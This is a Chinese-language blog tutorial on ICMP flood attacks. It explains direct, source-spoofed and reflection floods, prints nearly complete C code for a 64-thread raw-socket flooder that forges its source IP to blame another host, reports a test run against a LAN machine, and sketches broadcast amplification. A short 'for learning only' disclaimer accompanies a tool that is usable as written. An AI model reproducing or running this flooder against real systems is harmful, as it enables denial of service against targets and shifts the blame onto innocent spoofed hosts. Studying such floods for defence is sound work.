Linux编程之ICMP洪水攻击
作者:Madcola 发布时间:2023-07-27 00:40:06
我的上一篇文章《Linux编程之PING的实现》里使用ICMP协议实现了PING的程序,ICMP除了实现这么一个PING程序,还有哪些不为人知或者好玩的用途?这里我将介绍ICMP另一个很有名的黑科技:ICMP洪水攻击。
ICMP洪水攻击属于大名鼎鼎的DOS(Denial of Service)攻击的一种,一种是黑客们喜欢的攻击手段,这里本着加深自己对ICMP的理解的目的,也试着基于ICMP写一段ICMP的洪水攻击小程序。
洪水攻击(FLOOD ATTACK)指的是利用计算机网络技术向目的主机发送大量无用数据报文,使得目的主机忙于处理无用的数据报文而无法提供正常服务的网络行为。
ICMP洪水攻击:顾名思义,就是对目的主机发送洪水般的ping包,使得目的主机忙于处理ping包而无能力处理其他正常请求,这就好像是洪水一般的ping包把目的主机给淹没了。
要实现ICMP的洪水攻击,需要以下三项的知识储备:
DOS攻击原理
ICMP的深入理解
原始套接字的编程技巧
一、ICMP洪水攻击原理
ICMP洪水攻击是在ping的基础上形成的,但是ping程序很少能造成目的及宕机的问题,这是因为ping的发送包的速率太慢了,像我实现的PING程序里ping包发送速率限定在1秒1发,这个速率目的主机处理ping包还是绰绰有余的。所以要造成“洪水”的现象,就必须提升发包速率。这里介绍三种ICMP洪水攻击的方式:
(1)直接洪水攻击
这样做需要本地主机的带宽和目的主机的带宽之间进行比拼,比如我的主机网络带宽是30M的,而你的主机网络带宽仅为3M,那我发起洪水攻击淹没你的主机成功率就很大了。这种攻击方式要求攻击主机处理能力和带宽要大于被攻击主机,否则自身被DoS了。基于这种思想,我们可以使用一台高带宽高性能的电脑,采用多线程的方法一次性发送多个ICMP请求报文,让目的主机忙于处理大量这些报文而造成速度缓慢甚至宕机。这个方法有个大缺点,就是对方可以根据ICMP包的IP地址而屏蔽掉攻击源,使得攻击不能继续。
(2)伪IP攻击
在直接洪水攻击的基础上,我们将发送方的IP地址伪装成其他IP,如果是伪装成一个随机的IP,那就可以很好地隐藏自己的位置;如果将自己的IP伪装成其他受害者的IP,就会造成“挑拨离间”的情形,受害主机1的icmp回复包也如洪水般发送给受害主机2,如果主机1的管理员要查是哪个混蛋发包攻击自己,他一查ICMP包的源地址,咦原来是主机2,这样子主机2就成了戴罪羔羊了。
(3)反射攻击
这类攻击的思想不同于上面两种攻击,反射攻击的设计更为巧妙。其实这里的方式三的攻击模式是前两个模式的合并版以及升级版,方式三的攻击策略有点像“借刀 * “,反射攻击不再直接对目标主机,而是让其他一群主机误以为目标主机在向他们发送ICMP请求包,然后一群主机向目的主机发送ICMP应答包,造成来自四面八方的洪水淹没目的主机的现象。比如我们向局域网的其他主机发送ICMP请求包,然后自己的IP地址伪装成目的主机的IP,这样子目的主机就成了ICMP回显的焦点了。这种攻击非常隐蔽,因为受害主机很难查出攻击源是谁。
二、ICMP洪水攻击程序设计
这里我想实现一个ICMP洪水攻击的例子,这里我想采用方式二来进行设计。虽说方式三的“借刀 * ”更为巧妙,其实也是由方式二的伪装方式进一步延伸的,实现起来也是大同小异。
首先给出攻击的模型图:
1.组ICMP包
这里的组包跟编写PING程序时的组包没太大差别,唯一需要注意的是,我们需要填写IP头部分,因为我们要伪装源地址,做到嫁祸于人。
void DoS_icmp_pack(char* packet)
{
struct ip* ip_hdr = (struct ip*)packet;
struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip));
ip_hdr->ip_v = 4;
ip_hdr->ip_hl = 5;
ip_hdr->ip_tos = 0;
ip_hdr->ip_len = htons(ICMP_PACKET_SIZE);
ip_hdr->ip_id = htons(getpid());
ip_hdr->ip_off = 0;
ip_hdr->ip_ttl = 64;
ip_hdr->ip_p = PROTO_ICMP;
ip_hdr->ip_sum = 0;
ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址
ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址
icmp_hdr->icmp_type = ICMP_ECHO;
icmp_hdr->icmp_code = 0;
icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8));
//注意这里,因为数据部分为0,我们就简化了一下checksum的计算了
}
2.搭建发包线程
void Dos_Attack()
{
char* packet = (char*)malloc(ICMP_PACKET_SIZE);
memset(packet, 0, ICMP_PACKET_SIZE);
struct sockaddr_in to;
DoS_icmp_pack(packet);
to.sin_family = AF_INET;
to.sin_addr.s_addr = dest;
to.sin_port = htons(0);
while(alive) //控制发包的全局变量
{
sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr));
}
free(packet); //记得要释放内存
}
3.编写发包开关
这里的开关很简单,用信号量+全局变量即可以实现。当我们按下ctrl+c时,攻击将关闭。
void Dos_Sig()
{
alive = 0;
printf("stop DoS Attack!\n");
}
4.总的架构
我们使用了64个线程一起发包,当然这个线程数还可以大大增加,来增加攻击强度。但我们只是做做实验,没必要搞那么大。
int main(int argc, char* argv[])
{
struct hostent* host = NULL;
struct protoent* protocol = NULL;
int i;
alive = 1;
pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包
int err = 0;
if(argc < 2)
{
printf("Invalid input!\n");
return -1;
}
signal(SIGINT, Dos_Sig);
protocol = getprotobyname(PROTO_NAME);
if(protocol == NULL)
{
printf("Fail to getprotobyname!\n");
return -1;
}
PROTO_ICMP = protocol->p_proto;
dest = inet_addr(argv[1]);
if(dest == INADDR_NONE)
{
host = gethostbyname(argv[1]);
if(host == NULL)
{
printf("Invalid IP or Domain name!\n");
return -1;
}
memcpy((char*)&dest, host->h_addr, host->h_length);
}
rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);
if(rawsock < 0)
{
printf("Fait to create socket!\n");
return -1;
}
setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));
printf("ICMP FLOOD ATTACK START\n");
for(i=0;i<THREAD_MAX_NUM;i++)
{
err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
if(err)
{
printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);
}
}
for(i=0;i<THREAD_MAX_NUM;i++)
{
pthread_join(attack_thread[i], NULL); //等待线程结束
}
printf("ICMP ATTACK FINISHI!\n");
close(rawsock);
return 0;
}
三、实验
本次实验本着学习的目的,想利用自己手上的设备,想进一步理解网络和协议的应用,所以攻击的幅度比较小,时间也就几秒,不对任何设备造成影响。
再说一下我们的攻击步骤:我们使用主机172.0.5.183作为自己的攻击主机,并将自己伪装成主机172.0.5.182,对主机172.0.5.9发起ICMP洪水攻击。
攻击开始
我们观察一下”受害者“那边的情况。在短短5秒里,正确收到并交付上层处理的包也高达7万多个了。我也不敢多搞事,避免影响机器工作。
使用wireshark抓包再瞧一瞧,满满的ICMP包啊,看来量也是很大的。ICMP包的源地址显示为172.0.5.182(我们伪装的地址),它也把echo reply回给了172.0.5.182。主机172.0.5.182肯定会想,莫名其妙啊,怎么收到这么多echo reply包。
攻击实验做完了。
现在更为流行的是DDOS攻击,其威力更为强悍,策略更为精巧,防御难度也更加高。
其实,这种DDoS攻击也是在DOS的基础上发起的,具体步骤如下:
1. 攻击者向“放大网络”广播echo request报文
2. 攻击者指定广播报文的源IP为被攻击主机
3. “放大网络”回复echo reply给被攻击主机
4. 形成DDoS攻击场景
这里的“放大网络”可以理解为具有很多主机的网络,这些主机的操作系统需要支持对目的地址为广播地址的某种ICMP请求数据包进行响应。
攻击策略很精妙,简而言之,就是将源地址伪装成攻击主机的IP,然后发广播的给所有主机,主机们收到该echo request后集体向攻击主机回包,造成群起而攻之的情景。


猜你喜欢
- VMware虚拟机设置连接互联网VMware虚拟机三种网络模式桥接模式NAT模式仅主机(Host-Only)模式仅主机模式Host-Only
- 事件背景:近日,中国最大的第三方支付平台支付宝(中国)网络技术有限公司宣布推出信用卡大额支付业务,目前已经支持交行、广发、中行、光大、兴业和
- DoS (Denial of Service)攻击其中文含义是拒绝服务攻击,这种攻击行动使网站服务器充斥大量要求回复的 信息,消耗网络带宽或
- 1.用户建立脚本(1)设计文件判断模块(2)设计用户建立(3)文件内容脚本内容#!/bin/bashUSERADD(){ &n
- Exchange 2003 体系结构设计决策OTG 成功地部署 Exchange 2003 需要综合许多不同的元素。不仅需要新的 Excha
- 从我开始知道 SEO 这几年起,基本上所有的 SEO 活动都是基于前端的,从header 到 body,从小标签到 CSS,从链接到关键词密
- 【教程适用于独立主机或者虚拟主机】一、后台→ 全局 → 关闭站点(为了不影响数据库备份)转移开始第一步:备份整站数据并上传到新空间第二步:备
- 今天突然发现自己买了一年快过期了的搬瓦工,除了少数时间拿来当梯子用用其它也没用上,所以流量还剩这么多。。。所以就想试试把本地写的nodejs
- “很黄,很暴力”事件发端于mop网(www.mop.com)并非偶然,这是mop所提倡的“BT文化”结下的又一个“怪胎”。最近几年来,以互联
- 关于网站用户粘性的问题,谈及的文章已经很多了。结合自己的经验和教训,总有不吐不快的感觉,因此也就来说说这个问题。请各位同仁斧正。先谈用户。任
- 近期服务器频繁有被暴力破解,大致分析了一下入侵行为,整理了常用的安全策略:最小的权限+最少的服务=最大的安全1. 修改ssh默认连接22端口
- 之前报道中苹果Mac OS X 10.6.2 Beta版系统无法在基于Intel Atom的PC平台上安装使用,让大家对Mac OS X是否
- 一直不太想说Google Pagerank劫持这个话题,因为怕造成一些人刻意利用来骗其他的站长。不过聚友提供了判断PR劫持的目标网站的方法已
- 如果您已经安装了IIS,支持了asp和.net,也许你还希望在iis上安装PHP+Zend+Mysql+phpMyAdmin,难道要一个软件
- 随着互联网的应用越来越普及,为满足中小企业网站在电子商务的主流应用需求而开发;解决了企业在电子商务、信息化改造过程中缺乏人才的问题,而且减小
- 经常用Google搜索的人,近半年来会发现都或多或少的在搜索结果标题下看到过:“该网站可能含有恶意软件,有可能会危害您的电脑”这么一个goo
- 随着Linux企业应用的扩展,有大量的网络服务器使用Linux操作系统。Linux服务器的安全性能受到越来越多的关注,这里根据Linux服务
- 经历了近年的某些IDC服务商倒闭事件,国内IDC市场在在俯卧撑式的环境下渐趋理性和成熟,市场开始转型,业内专家认为,IDC产业经历了大起大落
- 在用TCP/IP协议族架设的网络中,每一个节点都有一个唯一的IP地址,用来作为它们唯一的标志。然而,如果让使用者来记住这些毫无记忆规律的IP
- Alexa排名尽管存在着大量的争议,但是在没有更好的工具之前,仍然是我们衡量一个网站流量状况和影响力的一个重要指标,周围朋友讨论最多的问题就